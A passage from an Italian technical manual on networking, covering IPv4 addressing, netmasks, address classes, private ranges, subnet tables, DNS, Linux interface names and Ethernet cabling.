Ogni nodo dovrebbe essere in grado di conservare per un certo tempo le corrispondenze tra gli indirizzi di livello 2 con quelli di livello 3, ottenuti durante il funzionamento. Questo viene fatto nella tabella ARP, la quale va comunque aggiornata a intervalli regolari.

38.4.2 Indirizzi IPv4

Come descritto nelle sezioni precedenti, al di sopra dei primi due livelli strettamente fisici di comunicazione, si inserisce la rete dal punto di vista di Unix: un insieme di nodi, spesso definiti *host*, identificati da un indirizzo IP. Di questi ne esistono almeno due versioni: IPv4 e IPv6. Il primo è ancora in uso, ma a causa del rapido esaurimento degli indirizzi disponibili nella comunità Internet, è in corso di diffusione l'uso del secondo.

Gli indirizzi IP versione 4, cioè quelli tradizionali, sono composti da una sequenza di 32 bit, suddivisi convenzionalmente in quattro gruppetti di 8 bit, rappresentati in modo decimale separati da un punto. Questo tipo di rappresentazione è definito come: ***notazione decimale puntata***. L'esempio seguente corrisponde al codice 1.2.3.4:

```
00000001.00000010.00000011.00000100
```

All'interno di un indirizzo del genere si distinguono due parti: l'indirizzo di rete e l'indirizzo del nodo particolare. Il meccanismo è simile a quello del numero telefonico in cui la prima parte del numero, il prefisso, definisce la zona ovvero il distretto telefonico, mentre il resto identifica l'apparecchio telefonico specifico di quella zona. In pratica, quando viene richiesto un indirizzo IP, si ottiene un indirizzo di rete in funzione della quantità di nodi che si devono connettere. In questo indirizzo una certa quantità di bit nella parte finale sono azzerati: ciò significa che quella parte finale può essere utilizzata per gli indirizzi specifici dei nodi. Per esempio, l'indirizzo di rete potrebbe essere:

```
00000001.00000010.00000011.00000000
```

In tal caso, si potrebbero utilizzare gli ultimi 8 bit per gli indirizzi dei vari nodi.

L'indirizzo di rete, non può identificare un nodo. Quindi, tornando all'esempio, l'indirizzo seguente non può essere usato per identificare anche un nodo:

```
00000001.00000010.00000011.00000000
```

Inoltre, un indirizzo in cui i bit finali lasciati per identificare i nodi siano tutti a uno, identifica un indirizzo ***broadcast***, cioè un indirizzo per la trasmissione a tutti i nodi di quella rete:

```
00000001.00000010.00000011.11111111
```

In pratica, rappresenta simultaneamente tutti gli indirizzi che iniziano con 00000001.00000010.00000011. Di conseguenza, un indirizzo broadcast non può essere utilizzato per identificare un nodo.

Naturalmente, i bit che seguono l'indirizzo di rete possono anche essere utilizzati per suddividere la rete in sottoreti. Nel caso di prima, volendo creare due sottoreti utilizzando i primi 2 bit che seguono l'indirizzo di rete originario:

xxxxxxxx.*xxxxxxxx*.*xxxxxxxx*.00000000	indirizzo di rete;
xxxxxxxx.*xxxxxxxx*.*xxxxxxxx*.01000000	indirizzo della prima sottorete;
xxxxxxxx.*xxxxxxxx*.*xxxxxxxx*.10000000	indirizzo della seconda sottorete;
xxxxxxxx.*xxxxxxxx*.*xxxxxxxx*.11111111	indirizzo broadcast.

In questo esempio, per ogni sottorete, resterebbero 6 bit a disposizione per identificare i nodi: da 000001_2 a 111110_2.

Il meccanismo utilizzato per distinguere la parte dell'indirizzo che identifica la rete è quello della ***maschera di rete*** o *netmask*. La maschera di rete è un indirizzo che viene abbinato all'indirizzo da analizzare con l'operatore booleano AND, per filtrare la parte di bit che interessa. Prima di vedere come funziona il meccanismo, la tabella 38.23 può essere utile per ripassare rapidamente le tabelline della verità degli operatori logici principali.

Tabella 38.23. Riassunto del funzionamento degli operatori logici principali.

A	B	A AND B
0	0	0
0	1	0
1	0	0
1	1	1

A	B	A OR B
0	0	0
0	1	1
1	0	1
1	1	1

A	NOT A
0	1
1	0

Una maschera di rete che consenta di classificare i primi 24 bit come indirizzo di rete è quella seguente, che coincide con il ben più noto codice 255.255.255.0:

```
11111111.11111111.11111111.00000000
```

Utilizzando l'esempio visto in precedenza, abbinando questa maschera di rete si ottiene l'indirizzo di rete:

00000001.00000010.00000011.00000100	nodo di rete (1.2.3.4)
11111111.11111111.11111111.00000000	maschera di rete (255.255.255.0)
00000001.00000010.00000011.00000000	indirizzo di rete (1.2.3.0).

L'indirizzo che si ottiene abbinando l'indirizzo di un nodo e la sua maschera di rete **invertita** (attraverso l'operatore NOT) con l'operatore AND è l'indirizzo del nodo relativo alla propria rete. Esempio:

00000001.00000010.00000011.00000100	nodo di rete (1.2.3.4)
00000000.00000000.00000000.11111111	maschera di rete invertita (0.0.0.255)
00000000.00000000.00000000.00000100	indirizzo relativo (0.0.0.4)

Tabella 38.27. Tabellina di conversione rapida per determinare la parte finale di una maschera di rete secondo la notazione decimale puntata.

Ottetto binario	Ottetto esadecimale	Ottetto decimale
11111111_2	FF_{16}	255_{10}
11111110_2	FE_{16}	254_{10}
11111100_2	FC_{16}	252_{10}
11111000_2	$F8_{16}$	248_{10}
11110000_2	$F0_{16}$	240_{10}
11100000_2	$E0_{16}$	224_{10}
11000000_2	$C0_{16}$	192_{10}
10000000_2	80_{16}	128_{10}
00000000_2	00_{16}	0_{10}

38.4.3 Classi di indirizzi IPv4

Gli indirizzi IP versione 4 sono stati classificati in cinque gruppi, a partire dalla lettera «A» fino alla lettera «E».

Tabella 38.28. Classe A. Gli indirizzi di classe A hanno il primo bit a zero, utilizzano i sette bit successivi per identificare l'indirizzo di rete e lasciano i restanti 24 bit per identificare i nodi.

	Binario	Notazione decimale puntata
modello	0***rrrrrrr.hhhhhhhh.hhhhhhhh.hhhhhhhh***	
da	00000001.________.________.________	1.___.___.___
a	01111111.________.________.________	127.___.___.___

Tabella 38.29. Classe B. Gli indirizzi di classe B hanno il primo bit a uno e il secondo a zero, utilizzano i 14 bit successivi per identificare l'indirizzo di rete e lasciano i restanti 16 bit per identificare i nodi.

	Binario	Notazione decimale puntata
modello	10***rrrrrr.rrrrrrrr.hhhhhhhh.hhhhhhhh***	
da	10000000.00000001.________.________	128.1.___.___
a	10111111.11111110.________.________	191.254.___.___

Tabella 38.30. Classe C. Gli indirizzi di classe C hanno il primo e il secondo bit a uno e il terzo bit a zero, utilizzano i 21 bit successivi per identificare l'indirizzo di rete e lasciano i restanti 8 bit per identificare i nodi.

	Binario	Notazione decimale puntata
modello	110***rrrrr.rrrrrrrr.rrrrrrrr.hhhhhhhh***	
da	11000000.00000000.00000001.________	192.0.1.___
a	11011111.11111111.11111110.________	223.255.254.___

Tabella 38.31. Classe D. Gli indirizzi di classe D hanno i primi tre bit a uno e il quarto a zero. Si tratta di una classe destinata a usi speciali.

	Binario	Notazione decimale puntata
modello	1110*xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx*	
da		224.___.___.___
a		239.___.___.___

Tabella 38.32. Classe E. Gli indirizzi di classe E hanno i primi quattro bit a uno e il quinto a zero. Si tratta di una classe destinata a usi speciali.

	Binario	Notazione decimale puntata
modello	11110*xxx.xxxxxxxx.xxxxxxxx.xxxxxxxx*	
da		240.___.___.___
a		247.___.___.___

Tabella 38.33. Riepilogo delle classi IPv4.

Prefisso binario	Intervallo di indirizzi in notazione decimale puntata	Impiego
0_2	da 1.0.0.0 a 127.255.255.255	Classe A
10_2	da 128.0.0.0 a 191.255.255.255	Classe B
110_2	da 192.0.0.0 a 223.255.255.255	Classe C
1110_2	da 224.0.0.0 a 239.255.255.255	Classe D
11110_2	da 240.0.0.0 a 247.255.255.255	Classe E

38.4.4 Indirizzi speciali IPv4

Alla fine della classe A, gli indirizzi 127.*.*.* (dove l'asterisco sta a rappresentare un ottetto qualunque), sono riservati per identificare una rete virtuale interna al nodo stesso. Nell'ambito di questa rete si trova un'interfaccia di rete immaginaria connessa su questa stessa rete, corrispondente all'indirizzo 127.0.0.1, mentre gli altri indirizzi di questo gruppo non vengono mai utilizzati.

Per identificare questi indirizzi si parla di *loopback*, ma tale termine viene usato ancora in altri contesti con significati differenti.

All'interno di ogni nodo, quindi, l'indirizzo 127.0.0.1 corrisponde a se stesso. Serve in particolare per non disturbare la rete quando un programma (che usa la rete) deve fare riferimento a se stesso.

L'indirizzo speciale 0.0.0.0, conosciuto come *default route* è il percorso, o la strada predefinita per l'instradamento dei pacchetti. Si usa spesso la parola chiave '**`defaultroute`**' per fare riferimento automaticamente a questo indirizzo particolare.

38.4.5 Indirizzi riservati per le reti private

Se non si ha la necessità di rendere accessibili i nodi della propria rete locale alla rete globale Internet, si possono utilizzare alcuni gruppi di indirizzi che sono stati riservati a questo scopo e che non corrispondono a nessun nodo raggiungibile attraverso Internet.

Tabella 38.34. Indirizzi riservati alle reti private.

Classe		Notazione decimale puntata	Binario
A	da	10.0.0.0	**00001010**.00000000.00000000.00000000
A	a	10.255.255.255	**00001010**.11111111.11111111.11111111
B	da	172.16.0.0	**10101100.0001**0000.00000000.00000000
B	a	172.31.255.255	**10101100.0001**1111.11111111.11111111
C	da	192.168.0.0	**11000000.10101000**.00000000.00000000
C	a	192.168.255.255	**11000000.10101000**.11111111.11111111

38.4.6 Sottoreti e instradamento

Quando si scompone la propria rete locale in sottoreti, lo si fa normalmente per raggruppare i nodi in base alle attività che essi condividono. Le sottoreti possono essere immaginate come raggruppamenti di nodi separati che di tanto in tanto hanno la necessità di accedere a nodi situati al di fuori del loro gruppo. Per collegare due sottoreti occorre un nodo con due interfacce di rete, ognuno connesso con una delle due reti, configurato in modo da lasciare passare i pacchetti destinati all'altra rete: questo è un router.

Si osservi che, in questo contesto, il termine *gateway* si usa per indicare il passaggio che devono prendere i pacchetti per raggiungere una certa rete. Pertanto, ciò può rappresentare l'indirizzo, presso la propria rete locale, del router che si occupa di tale instradamento. È però sbagliato confondere il termine *gateway* con router, perché comunque il primo dei due ha un significato generico, non riferito necessariamente al problema dell'instradamento al terzo livello del modello ISO-OSI.

38.4.7 Maschere IP e maschere di rete

Il modo normale di rappresentare una maschera degli schemi di indirizzamento di IPv4 è quello della notazione decimale puntata a ottetti, come visto fino a questo punto. Tuttavia, considerato che le maschere servono prevalentemente per definire dei gruppi di indirizzi IP, cioè delle reti (o sottoreti), tali maschere hanno una forma piuttosto semplice: una serie continua di bit a uno e la parte restante di bit a zero. Pertanto, quando si tratta di definire una maschera di rete, potrebbe essere conveniente indicare semplicemente il numero di bit da porre a uno. Per esempio, la classica maschera di rete di classe C, 255.255.255.0, equivale a dire che i primi 24 bit devono essere posti a uno.

La possibilità di rappresentare le maschere di rete in questo modo è apparsa solo in tempi recenti per quanto riguarda IPv4. Quindi, dipende dai programmi di servizio utilizzati effettivamente, il fatto che si possa usare o meno questa forma. In ogni caso, il modo usuale di esprimerla è quello di indicare il numero IP seguito da una barra obliqua normale e dal numero di bit a uno della maschera, come per esempio 192.168.1.1/24.

38.4.8 Sottoreti particolari in classe C

A causa della penuria di indirizzi IPv4, recentemente si tende a utilizzare la classe C in modo da ottenere il maggior numero di sottoreti possibili. Nella sezione 38.4.2 appare un esempio di suddivisione in sottoreti, in cui si utilizzano i primi 2 bit dell'ultimo ottetto per ottenere due reti, le quali possono raggiungere un massimo di 62 nodi per rete, mentre se si trattasse di una rete unica per tutto l'ottetto finale sarebbe possibile raggiungere 254 nodi.

Se si parte dal presupposto che ogni sottorete abbia il proprio indirizzo broadcast, nel senso che non esiste più un indirizzo broadcast generale, si può fare di meglio, anche se la cosa non è consigliabile in generale.

Maschera di rete a 25 bit, pari a 255.255.255.128, per due sottoreti con 126 nodi ognuna:

rrrrrrrr . rrrrrrrr . rrrrrrrr . s hhhhhhh

Rete	IP iniziale	IP finale	Broadcast
x.x.x.0	*x.x.x*.1	*x.x.x*.126	*x.x.x*.127
x.x.x.128	*x.x.x*.129	*x.x.x*.254	*x.x.x*.255

rrrrrrrr . rrrrrrrr . rrrrrrrr . ss hhhhhh

Maschera di rete a 26 bit, pari a 255.255.255.192, per quattro sottoreti con 62 nodi ognuna:

Rete	IP iniziale	IP finale	Broadcast
x.x.x.0	*x.x.x*.1	*x.x.x*.62	*x.x.x*.63
x.x.x.64	*x.x.x*.65	*x.x.x*.126	*x.x.x*.127
x.x.x.128	*x.x.x*.129	*x.x.x*.190	*x.x.x*.191
x.x.x.192	*x.x.x*.193	*x.x.x*.254	*x.x.x*.255

Maschera di rete a 27 bit, pari a 255.255.255.224, per otto sottoreti con 30 nodi ognuna:

rrrrrrrr . rrrrrrrr . rrrrrrrr . sss hhhhh

Rete	IP iniziale	IP finale	Broadcast
x.x.x.0	*x.x.x*.1	*x.x.x*.30	*x.x.x*.31
x.x.x.32	*x.x.x*.33	*x.x.x*.62	*x.x.x*.63
x.x.x.64	*x.x.x*.65	*x.x.x*.94	*x.x.x*.95
x.x.x.96	*x.x.x*.97	*x.x.x*.126	*x.x.x*.127
x.x.x.128	*x.x.x*.129	*x.x.x*.158	*x.x.x*.159
x.x.x.160	*x.x.x*.161	*x.x.x*.190	*x.x.x*.191
x.x.x.192	*x.x.x*.193	*x.x.x*.222	*x.x.x*.223
x.x.x.224	*x.x.x*.225	*x.x.x*.254	*x.x.x*.255

Maschera di rete a 28 bit, pari a 255.255.255.240, per 16 sottoreti con 14 nodi ognuna:

rrrrrrrr . rrrrrrrr . rrrrrrrr . ssss hhhh

Rete	IP iniziale	IP finale	Broadcast
x.x.x.0	*x.x.x*.1	*x.x.x*.14	*x.x.x*.15
x.x.x.16	*x.x.x*.17	*x.x.x*.30	*x.x.x*.31
x.x.x.32	*x.x.x*.33	*x.x.x*.46	*x.x.x*.47
x.x.x.48	*x.x.x*.49	*x.x.x*.62	*x.x.x*.63
x.x.x.64	*x.x.x*.65	*x.x.x*.78	*x.x.x*.79
x.x.x.80	*x.x.x*.81	*x.x.x*.94	*x.x.x*.95
x.x.x.96	*x.x.x*.97	*x.x.x*.110	*x.x.x*.111
x.x.x.112	*x.x.x*.113	*x.x.x*.126	*x.x.x*.127
x.x.x.128	*x.x.x*.129	*x.x.x*.142	*x.x.x*.143
x.x.x.144	*x.x.x*.145	*x.x.x*.158	*x.x.x*.159
x.x.x.160	*x.x.x*.161	*x.x.x*.174	*x.x.x*.175
x.x.x.176	*x.x.x*.177	*x.x.x*.190	*x.x.x*.191
x.x.x.192	*x.x.x*.193	*x.x.x*.206	*x.x.x*.207
x.x.x.208	*x.x.x*.209	*x.x.x*.222	*x.x.x*.223
x.x.x.224	*x.x.x*.225	*x.x.x*.238	*x.x.x*.239
x.x.x.240	*x.x.x*.241	*x.x.x*.254	*x.x.x*.255

Maschera di rete a 29 bit, pari a 255.255.255.248, per 32 sottoreti con sei nodi ognuna:

rrrrrrrr . rrrrrrrr . rrrrrrrr . sssss hhh

Rete	IP iniziale	IP finale	Broadcast
x.x.x.0	*x.x.x*.1	*x.x.x*.6	*x.x.x*.7
x.x.x.8	*x.x.x*.9	*x.x.x*.14	*x.x.x*.15
x.x.x.16	*x.x.x*.17	*x.x.x*.22	*x.x.x*.23
x.x.x.24	*x.x.x*.25	*x.x.x*.30	*x.x.x*.31
x.x.x.32	*x.x.x*.33	*x.x.x*.38	*x.x.x*.39
x.x.x.40	*x.x.x*.41	*x.x.x*.46	*x.x.x*.47
x.x.x.48	*x.x.x*.49	*x.x.x*.54	*x.x.x*.55
x.x.x.56	*x.x.x*.57	*x.x.x*.62	*x.x.x*.63
x.x.x.64	*x.x.x*.65	*x.x.x*.70	*x.x.x*.71
x.x.x.72	*x.x.x*.73	*x.x.x*.78	*x.x.x*.79
x.x.x.80	*x.x.x*.81	*x.x.x*.86	*x.x.x*.87
x.x.x.88	*x.x.x*.89	*x.x.x*.94	*x.x.x*.95
x.x.x.96	*x.x.x*.97	*x.x.x*.102	*x.x.x*.103
x.x.x.104	*x.x.x*.105	*x.x.x*.110	*x.x.x*.111
x.x.x.112	*x.x.x*.113	*x.x.x*.118	*x.x.x*.119
x.x.x.120	*x.x.x*.121	*x.x.x*.126	*x.x.x*.127
x.x.x.128	*x.x.x*.129	*x.x.x*.134	*x.x.x*.135
x.x.x.136	*x.x.x*.137	*x.x.x*.142	*x.x.x*.143
x.x.x.144	*x.x.x*.145	*x.x.x*.150	*x.x.x*.151
x.x.x.152	*x.x.x*.153	*x.x.x*.158	*x.x.x*.159
x.x.x.160	*x.x.x*.161	*x.x.x*.166	*x.x.x*.167
x.x.x.168	*x.x.x*.169	*x.x.x*.174	*x.x.x*.175
x.x.x.176	*x.x.x*.177	*x.x.x*.182	*x.x.x*.183
x.x.x.184	*x.x.x*.185	*x.x.x*.190	*x.x.x*.191
x.x.x.192	*x.x.x*.193	*x.x.x*.198	*x.x.x*.199
x.x.x.200	*x.x.x*.201	*x.x.x*.206	*x.x.x*.207

Rete	IP iniziale	IP finale	Broadcast
x.x.x.208	*x.x.x*.209	*x.x.x*.214	*x.x.x*.215
x.x.x.216	*x.x.x*.217	*x.x.x*.222	*x.x.x*.223
x.x.x.224	*x.x.x*.225	*x.x.x*.230	*x.x.x*.231
x.x.x.232	*x.x.x*.233	*x.x.x*.238	*x.x.x*.239
x.x.x.240	*x.x.x*.241	*x.x.x*.246	*x.x.x*.247
x.x.x.248	*x.x.x*.249	*x.x.x*.254	*x.x.x*.255

38.4.9 Indirizzi di rete critici

Teoricamente, una volta stabilita la disponibilità di indirizzi, è possibile suddividere questo insieme in reti e sottoreti, secondo le esigenze, sfruttando al massimo gli intervalli. Purtroppo però, bisogna fare i conti con delle consuetudini che in certe situazioni si traducono in problemi difficili da comprendere. In altri termini, a meno di disporre di software preparato per questo, è meglio stare lontani dai punti limite.

Quando si divide un gruppo di indirizzi in diverse sottoreti, teoricamente, la porzione di indirizzo che serve a distinguere le reti non può essere utilizzata con tutti i bit a zero e nemmeno con tutti i bit a uno. Per esempio, disponendo degli indirizzi da 192.168.0.0 a 192.168.255.255, conviene evitare di predisporre la rete 192.168.0.0 con maschera 255.255.255.0 e la rete 192.168.255.0 con maschera 255.255.255.0; infatti, nel primo caso si rischia di interferire proprio con l'indirizzo di rete, mentre nel secondo con l'indirizzo broadcast.

Viene mostrata una tabella che mostra alcuni esempi di indirizzi di rete da evitare quando si usano gli indirizzi privati.

Tabella 38.40. Esempi di indirizzi di sottoreti negli intervalli degli indirizzi privati, che possono creare problemi.

Indirizzo	Maschera	Descrizione
10.0.0.0	255.0.0.0	In questo caso si gestisce una sola rete privata con la maschera di rete predefinita e non dovrebbero esserci problemi.
10.0.0.0	255.255.0.0	Qui si fa una suddivisione in sottoreti e questa sottorete in particolare ha un indirizzo che può entrare in conflitto con l'indirizzo della rete complessiva, che sarebbe lo stesso.
10.255.0.0	255.255.0.0	Si fa una suddivisione in sottoreti, come nell'esempio precedente, ma si rischia di interferire con l'indirizzo broadcast della rete complessiva, che sarebbe lo stesso.
172.16.0.0	255.255.0.0	Si fa una suddivisione in sottoreti e questa sottorete in particolare ha un indirizzo che può entrare in conflitto con l'indirizzo della rete complessiva, che sarebbe lo stesso. Infatti, 16_{10} corrisponde a un ottetto 00010000_2, dove gli ultimi quattro bit sono azzerati.
172.31.0.0	255.255.0.0	Si fa una suddivisione in sottoreti, come nell'esempio precedente, ma si rischia di interferire con l'indirizzo broadcast della rete complessiva, che sarebbe lo stesso. Infatti, 31_{10} corrisponde a un ottetto 00011111_2, dove gli ultimi quattro bit sono tutti a uno.

Indirizzo	Maschera	Descrizione
192.168.0.0	255.255.255.0	Si fa una suddivisione in sottoreti e questa sottorete in particolare ha un indirizzo che può entrare in conflitto con l'indirizzo della rete complessiva, che sarebbe lo stesso.
192.168.255.0	255.255.0.0	Si fa una suddivisione in sottoreti, come nell'esempio precedente, ma si rischia di interferire con l'indirizzo broadcast della rete complessiva, che sarebbe lo stesso.

38.4.10 Nomi di dominio

La gestione diretta degli indirizzi IP è piuttosto faticosa dal punto di vista umano. Per questo motivo si preferisce associare un nome agli indirizzi numerici. Il sistema utilizzato attualmente è il DNS (*Domain name system*), ovvero il sistema dei nomi di dominio. Gli indirizzi della rete Internet sono organizzati ad albero in domini, sottodomini (altri sottodomini di livello inferiore, ecc.), fino ad arrivare a identificare il nodo desiderato.

Figura 38.41. Struttura dei nomi di dominio.

Non esiste una regola per stabilire quante debbano essere le suddivisioni, di conseguenza, di fronte a un nome del genere non si può sapere a priori se si tratta di un indirizzo finale, riferito a un nodo singolo, o a un gruppo di questi.

Con il termine ***nome di dominio***, si può fare riferimento sia al nome completo di un nodo particolare, sia a una parte iniziale di questo, nel lato destro. Dipende dal contesto stabilire cosa si intende veramente. Per fare un esempio che dovrebbe essere più comprensibile, è come parlare di un percorso all'interno di un file system: può trattarsi di una directory, oppure può essere il percorso assoluto che identifica precisamente un file.

Spesso, all'interno della propria rete locale, è possibile identificare un nodo attraverso il solo nome finale (a sinistra), senza la parte iniziale del dominio di appartenenza. Per esempio, se la rete in cui si opera corrisponde al dominio `brot.dg`, il nodo `roggen` viene inteso essere `roggen.brot.dg`. Quando un nome di dominio contiene tutti gli elementi necessari

a identificare un nodo, si parla precisamente di FQDN o *Fully qualified domain name*, quindi, `roggen.brot.dg` dell'esempio precedente è un FQDN.

> Quando si realizza una rete locale con indirizzi IP non raggiungibili attraverso Internet, è opportuno abbinare nomi di dominio sicuramente inesistenti. Ciò aiuta anche a comprendere immediatamente che non si tratta di un dominio accessibile dall'esterno.

38.4.11 Servizio di risoluzione dei nomi di dominio

In un sistema di nomi di dominio (DNS), il problema più grande è quello di organizzare i *name server* ovvero i ***servizi di risoluzione dei nomi*** (servizi DNS). Ciò è attuato da nodi che si occupano di risolvere, ovvero trasformare, gli indirizzi mnemonici dei nomi di dominio in indirizzi numerici IP e viceversa. A livello del dominio principale (*root*), si trovano alcuni serventi che si occupano di fornire gli indirizzi per raggiungere i domini successivi, cioè `com`, `edu`, `org`, `net`, `it`,... A livello di questi domini ci sono alcuni serventi (ogni dominio ha i suoi) che si occupano di fornire gli indirizzi per raggiungere i domini inferiori, e così via, fino a raggiungere il nodo finale. Di conseguenza, un servizio di risoluzione dei nomi, per poter ottenere l'indirizzo di un nodo che si trova in un dominio al di fuori della sua portata, deve interpellare quelli del livello principale e mano a mano quelli di livello inferiore, fino a ottenere l'indirizzo cercato. Per determinare l'indirizzo IP di un nodo si rischia di dover accedere a una quantità di servizi di risoluzione dei nomi; pertanto, per ridurre il traffico di richieste, ognuno di questi è in grado di conservare autonomamente una certa quantità di indirizzi che sono stati richiesti nell'ultimo periodo.

Figura 38.42. Suddivisione delle competenze tra i vari servizi di risoluzione dei nomi.

DNS .
dominio principale
DNS com.
DNS edu.
DNS org.
DNS net.
TDL (top level domain)
domini di primo livello
DNS a.com.
DNS b.com.
DNS b.com.
DNS d.com.
domini di secondo livello

In pratica, per poter utilizzare la notazione degli indirizzi suddivisa in domini, è necessario che il sistema locale sul quale si opera possa accedere al suo servizio di risoluzione dei nomi più vicino, oppure gestisca questo servizio per conto suo. In una rete locale privata composta da nodi che non sono raggiungibili dalla rete esterna (Internet), non dovrebbe essere necessario predisporre un servizio di risoluzione dei nomi; in questi casi è comunque indispensabile almeno il file '`/etc/hosts`' (39.1.2.1) compilato correttamente con gli indirizzi associati ai nomi completi dei vari nodi della rete locale.

38.4.12 Kernel Linux, configurazione per la rete

Per poter utilizzare i servizi di rete è necessario avere previsto questa gestione durante la configurazione del kernel. Per quanto riguarda GNU/Linux, si tratta principalmente di attivare la gestione della rete in generale e di attivare le particolari funzionalità necessarie per le attività che si intendono svolgere (sezione 8.3.7).

Oltre alla gestione della rete, occorre anche pensare al tipo di hardware a disposizione; per questo si deve configurare la parte riguardante i dispositivi di rete.

38.5 Hardware di rete comune

Quando si vuole connettere il proprio sistema ad altri nodi per formare una rete locale, si utilizzano normalmente delle interfacce di rete, una per elaboratore, connesse tra loro in qualche modo. Normalmente si tratta di schede o di componenti analoghi incorporati nella scheda madre, ma possono essere utilizzate anche delle porte di comunicazione gestite opportunamente attraverso il software.

38.5.1 Nomi di interfaccia

A differenza di altri componenti fisici che vengono identificati attraverso file di dispositivo (‘`/dev/*`’), GNU/Linux individua le interfacce di rete attraverso dei nomi che nulla hanno a che vedere con i file della directory ‘`/dev/`’.

Come nel caso dei file di dispositivo, quando ci possono essere più interfacce dello stesso tipo si utilizza un numero alla fine del nome. Per esempio, ‘**`eth0`**’ è la prima interfaccia Ethernet. Dipende dal kernel l’attribuzione di questo numero, quindi, quando si ha la necessità di associare un numero particolare a una certa interfaccia, si devono usare delle istruzioni opportune da dare al kernel nel momento dell’avvio.

Tabella 38.43. Alcuni nomi delle interfacce di rete nei sistemi GNU/Linux.

Nome	Descrizione
`lo`	Interfaccia locale virtuale (*loopback*), di solito si tratta dell’indirizzo 127.0.0.1.
`eth`***n***	La ***n***-esima scheda Ethernet.
`ppp`***n***	La ***n***-esima interfaccia PPP.
`plip`***n***	La ***n***-esima porta parallela utilizzata per le connessioni PLIP.

38.5.2 Ethernet: IEEE 802.3/ISO 8802.3

Lo standard Ethernet, o più precisamente IEEE 802.3/ISO 8802.3, prevede vari tipi diversi di collegamento. Il più comune di questi è in forma di cavo UTP, abbinato di norma a commutatori di pacchetto (*switch*). La connessione del tipo UTP, ovvero *Unshielded twisted pair*, utilizza un connettore RJ-45.

Figura 38.44. Connettore RJ-45.

Figura 38.45. Componente per il raccordo dei collegamenti UTP, costituito generalmente da un commutatore di pacchetto (*switch*).

A seconda della qualità del cavo UTP utilizzato e delle caratteristiche di schede di rete e commutatori di pacchetto, si possono trasmettere dati a velocità che vanno dai 100 Mbit/s ai 1 000 Mbit/s. Le sigle usate per descrivere queste possibilità sono rispettivamente 100baseT e 1000baseT (la lettera «T» sta a indicare che si tratta di un collegamento UTP).

La lunghezza di un cavo UTP di questo genere, non può superare i 100 m.

38.5.3 IEEE 802.3/ISO 8802.3: cavi UTP, normali e incrociati

Nella realizzazione di cavi UTP si distinguono due casi: cavi diretti e cavi incrociati (si veda anche la sezione 9.12.5). In linea di massima, il collegamento tra un elaboratore e un commutatori di pacchetto, avviene con cavi diretti, mentre il collegamento di due soli elaboratori, senza componenti intermedi, avviene con un cavo incrociato.

Tuttavia, le situazioni sono molteplici e vale la pena di elencarne alcune, tenendo conto che non sempre la realtà corrisponde alla teoria, pertanto occorre essere pronti a verificare e a provare anche in modo differente.

A partire dagli anni 2000, la maggior parte dei componenti aderenti allo standard IEEE 802.3 è in grado di determinare automaticamente la «polarità» dei cavi collegati, adattandosi automaticamente, senza bisogno di provvedervi manualmente. Pertanto, disponendo di tali componenti più evoluti, è sufficiente utilizzare sempre solo cavi UTP diretti.

Figura 38.46. Cavo 100/1000baseT categoria 5 o 6 diretto. Le coppie 1-2, 3-6, 4-5 e 7-8 sono ritorte.

«T−568B» «T−568B»

100baseT cat 5 diretto

Figura 38.47. Cavo 100/1000baseT categoria 5 o 6 incrociato. Le coppie 1-2:3-6, 3-6:1-2, 4-5:7-8 e 7-8:4-5 sono ritorte.

«T−568B» «T−568A»

100baseT cat 5 incrociato

38.5.3.1 Commutatori di pacchetto

I commutatori di pacchetto tradizionali dispongono di un certo numero di porte «normali» e di una porta aggiuntiva, denominata *up link*. Questa porta speciale serve a collegare più commutatori di pacchetto assieme, come si può vedere nella figura 38.48.

Figura 38.48. Situazione comune, in cui i cavi UTP sono tutti diretti.

In questo modo, i cavi usati per le connessioni sono tutti di tipo diretto. Tuttavia, volendo provare a usare la porta *up link* per collegare l'interfaccia di rete di un elaboratore normale, si deve usare un cavo incrociato, come si vede nella figura 38.49.

Figura 38.49. Utilizzo della porta *up link* per un collegamento attraverso cavo incrociato.

Si osservi che spesso l'uso della porta *up link* preclude l'utilizzo di una delle porte normali (di solito la prima). Eventualmente si può verificare nella documentazione del commutatore di pacchetto.

Così come dovrebbe essere possibile collegare un elaboratore alla porta *up link* attraverso un cavo incrociato, dovrebbe essere possibile collegare due commutatori di pacchetto tra due porte normali.

Figura 38.50. Collegamento tra due commutatori di pacchetto, usando solo le porte normali, con un cavo incrociato.

38.5.3.2 Router specifici e componenti simili

Quando si collegano dei componenti attraverso cavi UTP, come dei router specifici (quali i router ADSL), per sapere se si deve utilizzare un cavo diretto o un cavo incrociato, basta verificare se questi possono essere collegati alla scheda di rete di un elaboratore con un cavo diretto. Se ciò si verifica, nel caso di collegamento a un commutatore di pacchetto, occorre usare la porta *up link* oppure ci si deve servire di un cavo incrociato per il collegamento con una porta normale.

Figura 38.51. Collegamento di un router in una scatola chiusa.

38.6 Hardware di rete più vecchio

Le reti Ethernet a 10 Mbit/s e altri metodi di connessione tra gli elaboratori sono decisamente superati, ma può capitare di doverne avere a che fare, magari per il solo piacere di ripristinare dell'hardware del passato.

38.6.1 IEEE 802.3/ISO 8802.3: dal cavo coassiale al cavo UTP

Le connessioni più comuni a 10 Mbit/s, secondo lo standard IEEE 802.3, prevedono l'uso di cavi coassiali o di cavi UTP. Nel caso del cavo coassiale ne sono stati usati due tipi, distinti nel gergo con gli aggettivi *thick* e *thin*. Nel caso del cavo UTP, è da segnalare che per le connessioni a 10 Mbit/s, ha meno fili, rispetto alla versione per velocità da 100 Mbit/s.

Il collegamento coassiale di tipo «sottile» (*thin*), usato negli anni 1980, richiede l'uso di un cavo con impedenza da 50 ohm (di solito si tratta del noto cavo RG58) che viene usato per connettere ogni scheda attraverso un connettore BNC a «T». Il cavo può raggiungere una lunghezza massima di 180 m circa. Alla fine di entrambi i capi di questo cavo si deve inserire un terminatore resistivo (non induttivo) da 50 ohm. L'unico svantaggio di questo tipo di collegamento è che durante il funzionamento della rete, il cavo non può essere interrotto.

Figura 38.52. Cavo coassiale RG58, connettori a «T» e terminatori resistivi.

A seconda del tipo di connessione prescelto per la rete Ethernet, si hanno delle limitazioni sulla lunghezza massima del cavo utilizzato. In base a questi limiti, per distinguere il tipo di connessione si utilizzano i nomi 10base2 per la connessione sottile e 10base5 per la connessione normale. Nel caso di connessione attraverso cavo UTP, si utilizza il nome 10baseT.

Tabella 38.53. Caratteristiche delle connessioni Ethernet e lunghezze massime dei cavi.

Ethernet	Velocità	Connessione	Distanza	Descrizione
10base5	10 Mbit/s	*thick* RG213	≤ 500 m	Richiede il *vampire tap*.
10base2	10 Mbit/s	*thin* RG58	< 200 m	Cavo passante con connettore a «T».
